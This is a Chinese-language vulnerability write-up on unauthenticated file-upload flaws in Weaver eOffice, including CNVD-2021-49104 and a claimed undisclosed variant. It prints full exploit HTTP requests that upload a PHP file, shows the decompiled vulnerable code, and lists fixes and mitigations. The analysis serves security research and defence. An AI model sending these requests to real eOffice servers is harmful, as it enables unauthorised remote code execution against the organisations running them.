记一次某微漏洞分析到发现未公开新漏洞
字数 1091 2025-08-24 23:51:21
泛微eOffice文件上传漏洞分析与利用
漏洞概述
本文详细分析了泛微eOffice办公系统存在的两个文件上传漏洞,包括已公开的CNVD-2021-49104漏洞和一个未公开的新漏洞。这两个漏洞都允许攻击者在未授权的情况下上传任意文件,导致远程代码执行(RCE)。
环境搭建
- 下载并安装泛微eOffice最新版本
- 确保系统运行在PHP环境下
漏洞复现
已公开漏洞 (CNVD-2021-49104)
利用条件:无需登录
请求示例:
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
成功标志:访问 http://target.com/images/logo/logo-eoffice.php 可看到phpinfo页面
未公开新漏洞
利用条件:无需登录
请求示例:
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=theme&userId=1 HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
成功标志:文件会被上传到 /images/themes/ 目录下,文件名是MD5值加后缀
漏洞分析
代码定位
漏洞文件位于:/webroot/general/index/UploadFile.php
该文件使用了Zend加密,解密后分析关键代码:
class UploadFile {
public function uploadPicture($connection) {
if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$uploadType = $_REQUEST['uploadType'];
// 漏洞1: eoffice_logo 上传点
if ($uploadType == "eoffice_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
$_targetFile = "logo-eoffice" . $ext; // 直接拼接用户控制的后缀
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
// 更新数据库记录
// ...
}
}
// 漏洞2: theme 上传点
else if ($uploadType == "theme") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/themes/";
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
$_targetFile = md5(time()) . $ext; // 仅对文件名做MD5,后缀未过滤
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
if (move_uploaded_file($tempFile, $targetFile)) {
// 更新用户主题设置
// ...
}
}
}
}
// 获取文件后缀方法 - 无任何过滤
public function getFileExtension($file) {
$pos = strrpos($file, ".");
$ext = substr($file, $pos);
return $ext;
}
}
漏洞成因
- 未授权访问:上传接口未做权限验证
- 文件后缀未过滤:
eoffice_logo类型:直接拼接用户提供的后缀theme类型:仅对文件名部分做MD5处理,后缀未过滤
- 文件内容未验证:未对上传文件内容做任何验证
安全防护对比
login_logo和login_bg上传点有白名单限制:if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif"))) { echo 3; exit; }eoffice_logo和theme上传点无任何过滤
修复方案
-
官方已发布安全补丁包,下载地址:
http://v10.e-office.cn/eoffice9update/safepack.zip -
补丁主要修改:
- 对所有上传点添加文件后缀白名单验证
- 增加文件内容验证
- 添加权限验证
-
临时缓解措施:
- 限制
/general/index/UploadFile.php的访问 - 监控
/images/logo/和/images/themes/目录的文件变化
- 限制
批量检测脚本
作者提供了自动化检测脚本:
https://github.com/j-jasson/CNVD-2021-49104-Fanwei-Eoffice-fileupload
法律声明
- 本文仅用于安全研究和技术交流
- 未经授权不得对实际系统进行测试
- 中华人民共和国网络安全法:
https://baike.baidu.com/item/中华人民共和国网络安全法
总结
-
发现两个未授权文件上传漏洞:
eoffice_logo类型(已公开)theme类型(新发现)
-
漏洞危害:可导致远程代码执行
-
建议:受影响用户立即升级到安全版本
-
安全启示:
- 文件上传功能必须严格验证文件类型和内容
- 敏感接口必须做权限验证
- 安全补丁应及时应用